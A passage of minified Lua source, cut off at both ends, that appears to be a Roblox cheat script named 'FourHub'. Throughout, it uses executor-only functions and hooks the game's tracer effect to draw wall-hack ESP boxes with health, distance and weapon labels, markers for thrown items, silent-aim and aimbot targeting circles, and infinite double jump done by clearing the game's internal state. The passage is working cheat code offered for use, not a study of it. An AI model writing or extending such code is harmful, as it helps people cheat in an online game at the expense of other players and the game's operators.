local flashing = cfg.filled.hit_flash and (tickval - (c.hitFlash or 0)) < (cfg.filled.hit_time or 0.3); local cfgfill = cfg.filled; local cfgbox = cfg.box; local cfgglow = cfg.glow; local cfghp = cfg.health; local cfgtxt = cfg.text; if cfgfill.enable then local fb = cbox.filled; fb.Visible = true; fb.BackgroundTransparency = cfgfill.transparency; fb.Position = udim2offset(left, top); fb.Size = udim2offset(w, h); local fc1, fc2; if flashing then fc1, fc2 = cfg.filled.hit_color, cfg.filled.hit_color; elseif espVisible then fc1, fc2 = cfg.visible.color, cfg.visible.color; else fc1, fc2 = cfgfill.color_start, cfgfill.color_end; end; if cbox.fillC1 ~= fc1 or cbox.fillC2 ~= fc2 then cbox.fillC1, cbox.fillC2 = fc1, fc2; cbox.filledgradient.Color = csnew({ cskp(0, fc1), cskp(1, fc2) }); end; cbox.filledgradient.Rotation = cfgfill.animated and (msin(tickval * cfgfill.speed) * 90) + cfgfill.rotation or cfgfill.rotation; else cbox.filled.Visible = false; end; if cfg.highlight.enable and c.highlight then local hl = c.highlight; if hl.Adornee ~= character then hl.Adornee = character end; local hfill; if flashing then hfill = cfg.filled.hit_color; elseif espVisible then hfill = cfg.visible.color; else hfill = cfg.highlight.fill_color; end; if hl.FillColor ~= hfill then hl.FillColor = hfill end; if hl.OutlineColor ~= cfg.highlight.outline_color then hl.OutlineColor = cfg.highlight.outline_color end; hl.FillTransparency = cfg.highlight.fill_transparency; hl.OutlineTransparency = cfg.highlight.outline_transparency; if not hl.Enabled then hl.Enabled = true end; elseif c.highlight and c.highlight.Enabled then c.highlight.Enabled = false; end; if cfgbox.enable then local sq = cbox.square; local ol = cbox.outline; local il = cbox.inline; ol.Visible = true; ol.Color = cfgbox.outline; ol.Position = v2new(left - 1, top - 1); ol.Size = v2new(w + 2, h + 2); sq.Visible = true; sq.Color = espVisible and cfg.visible.color or cfgbox.color; sq.Thickness = cfgbox.thickness; sq.Position = v2new(left, top); sq.Size = v2new(w, h); il.Visible = true; il.Color = cfgbox.inline; il.Position = v2new(left + 1, top + 1); il.Size = v2new(w - 2, h - 2); else cbox.outline.Visible = false; cbox.square.Visible = false; cbox.inline.Visible = false; end; if cfgglow.enable and cfgbox.enable then local gl = cbox.glow; gl.Visible = true; gl.ImageTransparency = cfgglow.transparency; gl.ImageColor3 = cfgglow.color_start; gl.Position = udim2offset(left - 21, top - 21); gl.Size = udim2offset(w + 42, h + 42); if cbox.glowC1 ~= cfgglow.color_start or cbox.glowC2 ~= cfgglow.color_end then cbox.glowC1, cbox.glowC2 = cfgglow.color_start, cfgglow.color_end; cbox.glowgradient.Color = csnew({ cskp(0, cfgglow.color_start), cskp(1, cfgglow.color_end) }); end; else cbox.glow.Visible = false; end; if cfghp.enable then local hptarget = mclamp(hum.Health / mmax(hum.MaxHealth, 1), 0, 1); local hplerp = chp.lasthp + (hptarget - chp.lasthp) * 0.1; if math.abs(hplerp - chp.lasthp) > 0.001 then chp.lasthp = hplerp; end; local fillh = mceil(h * chp.lasthp); local barx = left - cfghp.width - cfghp.gap; local bg = chp.bg; local fill = chp.fill; bg.Visible = true; bg.Position = udim2offset(barx, top); bg.Size = udim2offset(cfghp.width, h); fill.Visible = true; fill.Position = udim2offset(barx, top + h - fillh); fill.Size = udim2offset(cfghp.width, fillh); chp.gradient.Color = csnew({ cskp(0, cfghp.color_high), cskp(0.5, cfghp.color_mid), cskp(1, cfghp.color_low) }); else chp.bg.Visible = false; chp.fill.Visible = false; end; local txtsize = cfgtxt.size; local textGradSeq, textFlow; if cfgtxt.gradient then textGradSeq = csnew({ cskp(0, cfgtxt.gradient_color1), cskp(0.5, cfgtxt.gradient_color2), cskp(1, cfgtxt.gradient_color1) }); textFlow = cfgtxt.flow and v2new((tickval * (cfgtxt.flow_speed or 1)) % 2 - 1, 0) or v2new(0, 0); end; local lname = ctext.name; lname.Visible = cfgtxt.name.enable; lname.Text = player.Name; lname.TextColor3 = textGradSeq and Color3.new(1, 1, 1) or cfgtxt.name.color; lname.TextSize = txtsize; lname.Position = udim2offset(left, top - 13); lname.Size = udim2offset(w, 12); applyTextGrad(lname, textGradSeq, textFlow); local distm = mfloor(dist * 0.28); if distm ~= chp.lastdist then chp.lastdist = distm; chp.lastdiststr = sfmt("%dM", distm); end; local lstuds = ctext.studs; lstuds.Visible = cfgtxt.studs.enable; lstuds.Text = chp.lastdiststr; lstuds.TextColor3 = textGradSeq and Color3.new(1, 1, 1) or cfgtxt.studs.color; lstuds.TextSize = txtsize; lstuds.Position = udim2offset(left, top + h + 2); lstuds.Size = udim2offset(w, 12); applyTextGrad(lstuds, textGradSeq, textFlow); local ltool = ctext.tool; if cfgtxt.tool.enable then ltool.Visible = true; ltool.Text = esp.getweapon(player); ltool.TextColor3 = textGradSeq and Color3.new(1, 1, 1) or cfgtxt.tool.color; applyTextGrad(ltool, textGradSeq, textFlow); ltool.TextSize = txtsize; local tpos = cfgtxt.tool.position; if tpos == "top" then local ty = cfgtxt.name.enable and (top - 26) or (top - 13); ltool.TextXAlignment = aligncenter; ltool.Position = udim2offset(left, ty); ltool.Size = udim2offset(w, 12); elseif tpos == "bottom" then local ty = top + h + 2; if cfgtxt.studs.enable then ty = ty + 13 end; ltool.TextXAlignment = aligncenter; ltool.Position = udim2offset(left, ty); ltool.Size = udim2offset(w, 12); else ltool.TextXAlignment = alignleft; ltool.Position = udim2offset(left + w + cfghp.width + cfghp.gap + 2, top); ltool.Size = udim2offset(50, 12); end; else ltool.Visible = false; end; end); for _, player in players:GetPlayers() do if player ~= local_player then esp.add(player) end; end; players.PlayerAdded:Connect(function(player) if player ~= local_player then esp.add(player) end; end); players.PlayerRemoving:Connect(function(player) esp.remove(player); end); local FourHub_state = { esp_hidden = false, vm_chams_last = 0 }; trove:Add(run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() tickval = tick(); if not ELI.esp.enable then if not FourHub_state.esp_hidden then FourHub_state.esp_hidden = true; for _, player in players:GetPlayers() do if player ~= local_player then esp.hide(player) end; end; end; return end; FourHub_state.esp_hidden = false; for _, player in players:GetPlayers() do if player ~= local_player then esp.update(player) end; end; end))); trove:Add(function() for _, player in players:GetPlayers() do esp.remove(player) end; espgui:Destroy(); end) do FourHub_state.dmgCallbacks = {}; FourHub_state.dmgQueue = {}; FourHub_state.onDamage = function(fn) FourHub_state.dmgCallbacks[#FourHub_state.dmgCallbacks + 1] = fn end; FourHub_state.fireDamage = function(plr, amount, worldpos) local q = FourHub_state.dmgQueue; q[#q + 1] = { plr, amount, worldpos }; end; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() local q = FourHub_state.dmgQueue; local n = #q; if n == 0 then return end; FourHub_state.dmgQueue = {}; for i = 1, n do local d = q[i]; for _, cb in ipairs(FourHub_state.dmgCallbacks) do pcall(cb, d[1], d[2], d[3]); end; end; end))); end do local dgui = Instance.new("ScreenGui"); dgui.Name = "\0"; dgui.ResetOnSpawn = false; dgui.IgnoreGuiInset = true; dgui.DisplayOrder = 500; pcall(function() dgui.Parent = gethui() end); if not dgui.Parent then pcall(function() dgui.Parent = game:GetService("CoreGui") end) end; if not dgui.Parent then pcall(function() dgui.Parent = local_player:FindFirstChildOfClass("PlayerGui") end) end; trove:Add(function() pcall(function() dgui:Destroy() end) end); local function fontOf(name) local ok, f = pcall(function() return Enum.Font[name] end); return (ok and f) or Enum.Font.GothamBold; end; FourHub_state.onDamage(function(plr, amount, worldpos) local cfg = ELI.damage_numbers; if not cfg.enable or not worldpos then return end; local sp, onscreen = camera:WorldToViewportPoint(worldpos); if not onscreen then return end; local lbl = Instance.new("TextLabel"); lbl.BackgroundTransparency = 1; lbl.Size = UDim2.fromOffset(140, 26); lbl.AnchorPoint = Vector2.new(0.5, 0.5); lbl.Position = UDim2.fromOffset(sp.X, sp.Y); lbl.Font = fontOf(cfg.font); lbl.TextSize = cfg.text_size or 18; lbl.Text = "-" .. tostring(math.floor(amount + 0.5)); lbl.TextStrokeTransparency = 1; lbl.TextColor3 = cfg.color1; lbl.ZIndex = 10; lbl.Parent = dgui; local stroke = Instance.new("UIStroke", lbl); stroke.Thickness = 1.5; stroke.Color = Color3.new(0, 0, 0); stroke.Transparency = 0.15; stroke.LineJoinMode = Enum.LineJoinMode.Round; local scale = Instance.new("UIScale", lbl); scale.Scale = 0.5; if cfg.color_type == "Gradient" then local grad = Instance.new("UIGradient", lbl); grad.Color = csnew({ cskp(0, cfg.color1), cskp(1, cfg.color2) }); grad.Rotation = 90; lbl.TextColor3 = Color3.new(1, 1, 1); end; local startX, startY = sp.X, sp.Y; local jitter = math.random(-14, 14); local start = tick(); local dur = cfg.duration or 0.8; local rise = cfg.rise or 42; local conn; conn = run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() local t = (tick() - start) / dur; if t >= 1 then conn:Disconnect(); pcall(function() lbl:Destroy() end); return end; local ease = 1 - (1 - t) * (1 - t) * (1 - t); if cfg.color_type == "Rainbow" then lbl.TextColor3 = Color3.fromHSV((tick() * 0.6) % 1, 0.75, 1); end; local s; if t < 0.16 then s = 0.5 + (t / 0.16) * 0.62; else s = 1.12 - ((t - 0.16) / 0.84) * 0.12; end; scale.Scale = s; local fade = t < 0.55 and 0 or (t - 0.55) / 0.45; lbl.Position = UDim2.fromOffset(startX + jitter * ease, startY - rise * ease); lbl.TextTransparency = fade; stroke.Transparency = 0.15 + 0.85 * fade; end)); end); end; local thrower = {}; workspace.ChildRemoved:Connect(function(obj) if not thrower[obj] then return end; thrower[obj].name:Destroy(); thrower[obj].dist:Destroy(); thrower[obj].icon:Destroy(); thrower[obj] = nil; end); function get_skin_thumb(weapon_name) if weapon_name == "SubspaceTripmineHitbox" then local viewmodel_data = item_lib.ViewModels["Subspace Tripmine"]; return viewmodel_data and (viewmodel_data.ImageHighResolution or viewmodel_data.Image) or ""; end; local cosmetic_data = cosmetic_lib.Cosmetics[weapon_name]; if cosmetic_data then return cosmetic_data.ImageHighResolution or cosmetic_data.Image or ""; end; local viewmodel_data = item_lib.ViewModels[weapon_name]; if viewmodel_data then return viewmodel_data.ImageHighResolution or viewmodel_data.Image or ""; end; return ""; end; trove:Add(run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() local active = {}; local current_font = getgenv().fonts[ELI.thrower_esp.font]; if not current_font then return end; if not ELI.thrower_esp.enable then for _, v in next, thrower do v.name.Visible = false; v.dist.Visible = false; v.icon.Visible = false; end; return; end; for _, v in next, workspace:GetChildren() do local sel = ELI.thrower_esp.thrower_select; if type(sel) ~= "table" then continue end; local selected = false; local display_name = v.Name; for display, enabled in next, sel do if not enabled then continue end; local target_name = thisisforsubspace[display] or display; local actual_weapon = v.Name; local cosmetic_data = cosmetic_lib.Cosmetics[v.Name]; if cosmetic_data and cosmetic_data.ItemName then actual_weapon = cosmetic_data.ItemName; end; if target_name == v.Name or target_name == actual_weapon then selected = true; display_name = display; break; end; end; if not selected then if thrower[v] then thrower[v].name:Destroy(); thrower[v].dist:Destroy(); thrower[v].icon:Destroy(); thrower[v] = nil; end; continue; end; local root = v:FindFirstChildWhichIsA("BasePart"); if not root then continue end; active[v] = true; if not thrower[v] then local thumb = get_skin_thumb(v.Name); local icon_label = Instance.new("ImageLabel"); icon_label.BackgroundTransparency = 1; icon_label.Size = UDim2.fromOffset(140, 140); icon_label.Image = thumb; icon_label.Visible = false; icon_label.Parent = espgui; local name_label = Instance.new("TextLabel"); name_label.BackgroundTransparency = 1; name_label.TextStrokeTransparency = 0; name_label.TextStrokeColor3 = Color3.new(0, 0, 0); name_label.TextScaled = false; name_label.FontFace = current_font; name_label.TextXAlignment = Enum.TextXAlignment.Center; name_label.Size = UDim2.fromOffset(80, 14); name_label.Visible = false; name_label.Parent = espgui; local dist_label = Instance.new("TextLabel"); dist_label.BackgroundTransparency = 1; dist_label.TextStrokeTransparency = 0; dist_label.TextStrokeColor3 = Color3.new(0, 0, 0); dist_label.TextScaled = false; dist_label.FontFace = current_font; dist_label.TextXAlignment = Enum.TextXAlignment.Center; dist_label.Size = UDim2.fromOffset(80, 12); dist_label.Visible = false; dist_label.Parent = espgui; thrower[v] = { name = name_label, dist = dist_label, icon = icon_label }; end; thrower[v].name.FontFace = current_font; thrower[v].dist.FontFace = current_font; thrower[v].icon.Image = get_skin_thumb(v.Name); local pos, on_screen = camera:WorldToViewportPoint(root.Position); thrower[v].icon.Visible = on_screen and ELI.thrower_esp.image == true; thrower[v].name.Visible = on_screen and ELI.thrower_esp.name == true; thrower[v].name.TextColor3 = ELI.thrower_esp.name_color; thrower[v].name.TextSize = ELI.thrower_esp.name_size; thrower[v].dist.Visible = on_screen and ELI.thrower_esp.distance == true; thrower[v].dist.TextColor3 = ELI.thrower_esp.distance_color; thrower[v].dist.TextSize = ELI.thrower_esp.distance_size; if on_screen then thrower[v].icon.Position = UDim2.fromOffset(pos.X - 70, pos.Y - 110); thrower[v].name.Position = UDim2.fromOffset(pos.X - 40, pos.Y - 7); thrower[v].name.Text = display_name; thrower[v].dist.Position = UDim2.fromOffset(pos.X - 40, pos.Y + 7); thrower[v].dist.Text = string.format("%.0fm", (camera.CFrame.Position - root.Position).Magnitude * 0.28); end; end; for obj, labels in next, thrower do if not active[obj] then labels.name:Destroy(); labels.dist:Destroy(); labels.icon:Destroy(); thrower[obj] = nil; end; end; end))); local weather_types = { ["snow"] = { Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0.7374999523162842), NumberSequenceKeypoint.new(0.973, 0.768750011920929), NumberSequenceKeypoint.new(1, 1) }), Texture = "http://www.roblox.com/asset/?id=99851851", SpreadAngle = Vector2.new(50, 50), Speed = NumberRange.new(30, 30), LightEmission = 10, Rate = 1000, EmissionDirection = Enum.NormalId.Bottom, Size = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0.33096909523010254), NumberSequenceKeypoint.new(0.551, 0.40189146995544434), NumberSequenceKeypoint.new(1, 0.33096909523010254) }), }, ["rain"] = { Speed = NumberRange.new(60, 60), LockedToPart = true, Rate = 600, Texture = "rbxassetid://1822883048", EmissionDirection = Enum.NormalId.Bottom, Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(0.25, 0.7842668294906616), NumberSequenceKeypoint.new(0.75, 0.7842668294906616), NumberSequenceKeypoint.new(1, 1) }), Lifetime = NumberRange.new(0.800000011920929, 0.800000011920929), LightEmission = 0.05000000074505806, LightInfluence = 0.8999999761581421, Orientation = Enum.ParticleOrientation.FacingCameraWorldUp, Size = NumberSequence.new({ NumberSequenceKeypoint.new(0, 10), NumberSequenceKeypoint.new(1, 10) }), }, ["light rain"] = { LockedToPart = true, Rate = 500, Squash = NumberSequence.new({ NumberSequenceKeypoint.new(0, 3), NumberSequenceKeypoint.new(1, 3) }), LightInfluence = 0.30000001192092896, Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.435, 0), NumberSequenceKeypoint.new(1, 0) }), Texture = "rbxasset://textures/particles/sparkles_main.dds", Speed = NumberRange.new(30, 50), Lifetime = NumberRange.new(9, 9), LightEmission = 0.5, Brightness = 2, EmissionDirection = Enum.NormalId.Bottom, Orientation = Enum.ParticleOrientation.FacingCameraWorldUp, Size = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0.20000000298023224), NumberSequenceKeypoint.new(1, 0.20000000298023224) }), }, }; local weather = {} do local part = Instance.new("Part"); part.Size = Vector3.new(40, 40, 85); part.CanCollide = false; part.Massless = true; part.CastShadow = false; part.Transparency = 1; part.Anchored = true; part.Name = "weather"; part.Parent = workspace; local emitter = Instance.new("ParticleEmitter"); for prop, val in next, weather_types[ELI.weather.type] do emitter[prop] = val; end; emitter.Color = ColorSequence.new(ELI.weather.color); emitter.Enabled = false; emitter.Parent = part; weather.part = part; weather.emitter = emitter; weather.last_type = ELI.weather.type; trove:Add(part); end; function rebuild_emitter() weather.emitter:Destroy(); local emitter = Instance.new("ParticleEmitter"); for prop,val in next, weather_types[ELI.weather.type] do emitter[prop] = val; end; emitter.Color = ColorSequence.new(ELI.weather.color); emitter.Enabled = true; emitter.Parent = weather.part; weather.emitter = emitter; weather.last_type = ELI.weather.type; end; trove:Add(run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() if not ELI.weather.enable then weather.emitter.Enabled = false; return; end; if weather.last_type ~= ELI.weather.type then rebuild_emitter(); end; weather.emitter.Enabled = true; weather.emitter.Rate = ELI.weather.rate; weather.emitter.Color = ColorSequence.new(ELI.weather.color); weather.part.CFrame = CFrame.new(camera.CFrame.Position + Vector3.new(0, 20, 0)); end))); run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function() if ELI.stretched_res.enable then camera.CFrame = camera.CFrame * CFrame.new(0, 0, 0, 1, 0, 0, 0, ELI.stretched_res.stretched_res_amount, 0, 0, 0, 1); end; end)); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.infinite_double_jump.enable then mechanics_controller._double_jumps_used = {}; end; end))); do local active_tracers = 0; local MAX_ACTIVE_TRACERS = 48; function create_beam(from, to, lerp_override) if active_tracers >= MAX_ACTIVE_TRACERS then return; end; active_tracers += 1; local total_time = 0; local tween; local fade_duration = ELI.bullet_tracers.life_time; local direction = (to - from); local total_distance = direction.Magnitude; local unit = direction.Unit; local lerp_speed = lerp_override or ELI.bullet_tracers.position_lerp_speed; local origin_hold = Instance.new('Part'); origin_hold.Anchored = true; origin_hold.CanCollide = false; origin_hold.CanTouch = false; origin_hold.CanQuery = false; origin_hold.Transparency = 1; origin_hold.CFrame = CFrame.new(from); origin_hold.Parent = workspace; local hit_hold = Instance.new('Part'); hit_hold.Anchored = true; hit_hold.CanCollide = false; hit_hold.CanTouch = false; hit_hold.CanQuery = false; hit_hold.Transparency = 1; hit_hold.CFrame = CFrame.new(from); hit_hold.Parent = workspace; local origin_att = Instance.new('Attachment'); origin_att.Parent = origin_hold; local hit_att = Instance.new('Attachment'); hit_att.Parent = hit_hold; local tracer = Instance.new('Beam'); tracer.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, ELI.bullet_tracers.color_start), ColorSequenceKeypoint.new(0.5, ELI.bullet_tracers.color_end), ColorSequenceKeypoint.new(1, ELI.bullet_tracers.color_start), }); tracer.Brightness = ELI.bullet_tracers.glow; tracer.LightEmission = ELI.bullet_tracers.glow; tracer.LightInfluence = 0; tracer.TextureSpeed = ELI.bullet_tracers.speed; tracer.TextureLength = 3; tracer.FaceCamera = true; tracer.Texture = texture_id[ELI.bullet_tracers.texture]; tracer.TextureMode = Enum.TextureMode.Wrap; tracer.Attachment0 = origin_att; tracer.Attachment1 = hit_att; local base_width0 = ELI.bullet_tracers.width0; local base_width1 = ELI.bullet_tracers.width1; local spring_expand = ELI.bullet_tracers.spring_expand; local spring_speed = ELI.bullet_tracers.expand_speed; local spring_damper = ELI.bullet_tracers.expand_damper; local spring_pos = spring_expand and 0 or 1; local spring_vel = 0; tracer.Width0 = base_width0 * spring_pos; tracer.Width1 = base_width1 * spring_pos; tracer.Enabled = true; tracer.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0.1), NumberSequenceKeypoint.new(0.5, 0), NumberSequenceKeypoint.new(1, 0.3), }); pcall(function() local tcfg = ELI.bullet_tracers; if not tcfg.curve_around then return end; local params = RaycastParams.new(); params.FilterType = Enum.RaycastFilterType.Exclude; params.FilterDescendantsInstances = { local_player.Character, origin_hold, hit_hold }; local blocked = workspace:Raycast(from, to - from, params); if not (blocked and (blocked.Position - from).Magnitude < (total_distance - 2)) then return end; local maxH = tcfg.curve_height or 14; local right = unit:Cross(Vector3.yAxis); right = right.Magnitude > 0.01 and right.Unit or Vector3.xAxis; local upv = right:Cross(unit).Unit; if upv.Y < 0 then upv = -upv end; local mid = (from + to) * 0.5; local function pathClear(apex) local a = workspace:Raycast(from, apex - from, params); if a and (a.Position - from).Magnitude < (apex - from).Magnitude - 1 then return false end; local b = workspace:Raycast(apex, to - apex, params); if b and (b.Position - apex).Magnitude < (to - apex).Magnitude - 1 then return false end; return true; end; local dirs = { upv, (upv + right * 0.6).Unit, (upv - right * 0.6).Unit, right, -right, }; local heights = { maxH * 0.7, maxH, maxH * 1.5 }; local bestDir, bestH; for _, d in eli_ipairs(dirs) do for _, h in eli_ipairs(heights) do if pathClear(mid + d * h) then bestDir, bestH = d, h; break; end; end; if bestDir then break end; end; if not bestDir then bestDir = upv; bestH = math.min(maxH * 1.5, total_distance * 0.4); end; local ref = math.abs(bestDir.Y) < 0.99 and Vector3.yAxis or Vector3.xAxis; local u0 = bestDir:Cross(ref).Unit; local u1 = (-bestDir):Cross(ref).Unit; origin_att.CFrame = CFrame.fromMatrix(Vector3.zero, bestDir, u0); hit_att.CFrame = CFrame.fromMatrix(Vector3.zero, -bestDir, u1); tracer.CurveSize0 = bestH; tracer.CurveSize1 = bestH; end); tracer.Parent = workspace; local wallLine; if ELI.bullet_tracers.through_walls then pcall(function() wallLine = Drawing.new("Line"); wallLine.Thickness = math.max(base_width0 * 4, 1.5); wallLine.Color = ELI.bullet_tracers.color_start; wallLine.Transparency = 1; wallLine.Visible = false; end); end; local elapsed = 0; tween = run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function(delta_time) total_time += delta_time; elapsed += delta_time; local lerp_alpha = elapsed / lerp_speed; if lerp_alpha >= 1 then lerp_alpha = 1 end; local traveled = total_distance * lerp_alpha; if traveled > total_distance then traveled = total_distance end; hit_hold.CFrame = CFrame.new(from + unit * traveled); if wallLine then local a = camera:WorldToViewportPoint(from); local b = camera:WorldToViewportPoint(from + unit * traveled); if a.Z > 0 and b.Z > 0 then wallLine.From = Vector2.new(a.X, a.Y); wallLine.To = Vector2.new(b.X, b.Y); wallLine.Color = ELI.bullet_tracers.color_start; wallLine.Visible = true; else wallLine.Visible = false; end; end; if spring_expand then local accel = (1 - spring_pos) * spring_speed * spring_speed - 2 * spring_damper * spring_speed * spring_vel; spring_vel += accel * delta_time; spring_pos += spring_vel * delta_time; tracer.Width0 = base_width0 * spring_pos; tracer.Width1 = base_width1 * spring_pos; end; local alpha = tween_service:GetValue((total_time / fade_duration), Enum.EasingStyle.Quad, Enum.EasingDirection.In); tracer.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0.1 + (alpha * 0.9)), NumberSequenceKeypoint.new(0.5, alpha), NumberSequenceKeypoint.new(1, 0.3 + (alpha * 0.7)), }); if wallLine then wallLine.Transparency = math.clamp(1 - alpha, 0, 1); end; end)); task.delay(fade_duration, function() if tween then tween:Disconnect(); end; if wallLine then pcall(function() wallLine:Remove() end) end; pcall(function() tracer:Destroy(); end); pcall(function() origin_hold:Destroy(); end); pcall(function() hit_hold:Destroy(); end); active_tracers -= 1; if active_tracers < 0 then active_tracers = 0; end; end); end; end; local old_tracer = tracer_effect.Play; tracer_effect.Play = function(...) local args = {...}; if ELI.silent_aim.visualize and ELI.silent_aim.enable and args[2] and args[2].IsLocal and args[2].RaycastResults then local st = FourHub_state.silentTarget; if st and (tick() - (FourHub_state.silentTargetT or 0)) < 0.2 then for _, v in next, args[2].RaycastResults do pcall(function() v.Position = st end); end; end; end; if ELI.bullet_tracers.enable then if args[2] and args[2].IsLocal then local muzzle = args[4] and args[4].MuzzlePosition; if muzzle and args[2].RaycastResults then for i,v in next, args[2].RaycastResults do if v.Position then create_beam(muzzle, v.Position, nil); end; end; end; return; end; end; return old_tracer(...); end; trove:Add(function() tracer_effect.Play = old_tracer; end); function GetMuzzlePos() for M,P in first_person:GetDescendants() do if P.Name == "_muzzle" and P:IsA("Attachment") then local Pos = camera:WorldToViewportPoint(P.WorldPosition); return Vector2.new(Pos.X, Pos.Y); end; end; return Vector2.new(camera.ViewportSize.X / 2, camera.ViewportSize.Y / 2); end; local sfov_gui = Instance.new("ScreenGui", gethui()); sfov_gui.ResetOnSpawn = false; sfov_gui.IgnoreGuiInset = true; local sfov = Instance.new("Frame", sfov_gui); sfov.BorderSizePixel = 0; sfov.Visible = false; sfov.BackgroundTransparency = 1; Instance.new("UICorner", sfov).CornerRadius = UDim.new(1, 0); local sfov_stroke = Instance.new("UIStroke", sfov); sfov_stroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border; local sfov_fill_gradient = Instance.new("UIGradient", sfov); local sfov_stroke_gradient = Instance.new("UIGradient", sfov_stroke); local afov_gui = Instance.new("ScreenGui", gethui()); afov_gui.ResetOnSpawn = false; afov_gui.IgnoreGuiInset = true; local afov = Instance.new("Frame", afov_gui); afov.BorderSizePixel = 0; afov.Visible = false; afov.BackgroundTransparency = 1; Instance.new("UICorner", afov).CornerRadius = UDim.new(1, 0); local afov_stroke = Instance.new("UIStroke", afov); afov_stroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border; local afov_fill_gradient = Instance.new("UIGradient", afov); local afov_stroke_gradient = Instance.new("UIGradient", afov_stroke); local fov_rotation = 0; local sfov_current_pos = Vector2.new(camera.ViewportSize.X / 2, camera.ViewportSize.Y / 2); local sfov_current_radius = ELI.silent_aim.fov_radius; local afov_current_pos = Vector2.new(camera.ViewportSize.X / 2, camera.ViewportSize.Y / 2); local afov_current_radius = ELI.aimbot.fov_radius; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function(dt) local s_show = ELI.silent_aim.enable and ELI.silent_aim.show_fov; local a_show = ELI.aimbot.enable and ELI.aimbot.show_fov; if not s_show and not a_show then if sfov.Visible then sfov.Visible = false end; if afov.Visible then afov.Visible = false end; return end; fov_rotation = (fov_rotation + ELI.silent_aim.fov_rotation_speed * dt) % 360; local scenter = Vector2.new(camera.ViewportSize.X / 2, camera.ViewportSize.Y / 2); local smuzzle; if ELI.silent_aim.follow_target and ELI.silent_aim.follow_gunpoint then local t = getclosest(); if t and t.Character and t.Character:FindFirstChild(ELI.targeting.part) then local pos, onscreen = camera:WorldToViewportPoint(t.Character[ELI.targeting.part].Position); smuzzle = onscreen and Vector2.new(pos.X, pos.Y) or GetMuzzlePos(); else smuzzle = GetMuzzlePos(); end; elseif ELI.silent_aim.follow_target then local t = getclosest(); if t and t.Character and t.Character:FindFirstChild(ELI.targeting.part) then local pos, onscreen = camera:WorldToViewportPoint(t.Character[ELI.targeting.part].Position); smuzzle = onscreen and Vector2.new(pos.X, pos.Y) or scenter; else smuzzle = scenter; end; elseif ELI.silent_aim.follow_gunpoint then smuzzle = GetMuzzlePos(); else smuzzle = scenter; end; local amuzzle; if ELI.aimbot.follow_target and ELI.aimbot.follow_gunpoint then local t = getclosest2(); if t and t.Character and t.Character:FindFirstChild(ELI.targeting.part) then local pos, onscreen = camera:WorldToViewportPoint(t.Character[ELI.targeting.part].Position); amuzzle = onscreen and Vector2.new(pos.X, pos.Y) or GetMuzzlePos(); else amuzzle = GetMuzzlePos(); end; elseif ELI.aimbot.follow_target then local t = getclosest2(); if t and t.Character and t.Character:FindFirstChild(ELI.targeting.part) then local pos, onscreen = camera:WorldToViewportPoint(t.Character[ELI.targeting.part].Position); amuzzle = onscreen and Vector2.new(pos.X, pos.Y) or scenter; else amuzzle = scenter; end; elseif ELI.aimbot.follow_gunpoint then amuzzle = GetMuzzlePos(); else amuzzle = scenter; end; local st = math.min(dt * (1 / math.max(ELI.silent_aim.lerp, 0.001)), 1); local at = math.min(dt * (1 / math.max(ELI.aimbot.lerp, 0.001)), 1); sfov_current_pos = sfov_current_pos:Lerp(smuzzle, st); sfov_current_radius = sfov_current_radius + (ELI.silent_aim.fov_radius - sfov_current_radius) * st; afov_current_pos = afov_current_pos:Lerp(amuzzle, at); afov_current_radius = afov_current_radius + (ELI.aimbot.fov_radius - afov_current_radius) * at; local s_fill_gradient = ColorSequence.new({ ColorSequenceKeypoint.new(0, ELI.silent_aim.fov_fill_color), ColorSequenceKeypoint.new(1, ELI.silent_aim.fov_fill_color2), }); local s_stroke_gradient = ColorSequence.new({ ColorSequenceKeypoint.new(0, ELI.silent_aim.fov_color), ColorSequenceKeypoint.new(1, ELI.silent_aim.fov_color2 or ELI.silent_aim.fov_color), }); sfov.Visible = ELI.silent_aim.enable and ELI.silent_aim.show_fov; sfov.BackgroundColor3 = ELI.silent_aim.fov_fill_color; sfov.BackgroundTransparency = ELI.silent_aim.show_fill and ELI.silent_aim.fov_fill_transparency or 1; sfov.Size = UDim2.new(0, sfov_current_radius * 2, 0, sfov_current_radius * 2); sfov.Position = UDim2.new(0, sfov_current_pos.X - sfov_current_radius, 0, sfov_current_pos.Y - sfov_current_radius); sfov.Rotation = fov_rotation; sfov_stroke.Color = ELI.silent_aim.fov_color; sfov_stroke.Transparency = ELI.silent_aim.fov_outline_transparency; sfov_stroke.Thickness = ELI.silent_aim.fov_thickness; sfov_fill_gradient.Enabled = ELI.silent_aim.show_fill; sfov_fill_gradient.Color = s_fill_gradient; sfov_fill_gradient.Rotation = fov_rotation; sfov_stroke_gradient.Color = s_stroke_gradient; sfov_stroke_gradient.Rotation = fov_rotation; local a_fill_gradient = ColorSequence.new({ ColorSequenceKeypoint.new(0, ELI.aimbot.fov_fill_color), ColorSequenceKeypoint.new(1, ELI.aimbot.fov_fill_color2), }); local a_stroke_gradient = ColorSequence.new({ ColorSequenceKeypoint.new(0, ELI.aimbot.fov_color), ColorSequenceKeypoint.new(1, ELI.aimbot.fov_fill_color2 or ELI.aimbot.fov_color), }); afov.Visible = ELI.aimbot.enable and ELI.aimbot.show_fov; afov.BackgroundColor3 = ELI.aimbot.fov_fill_color; afov.BackgroundTransparency = ELI.aimbot.show_fill and ELI.aimbot.fov_fill_transparency or 1; afov.Size = UDim2.new(0, afov_current_radius * 2, 0, afov_current_radius * 2); afov.Position = UDim2.new(0, afov_current_pos.X - 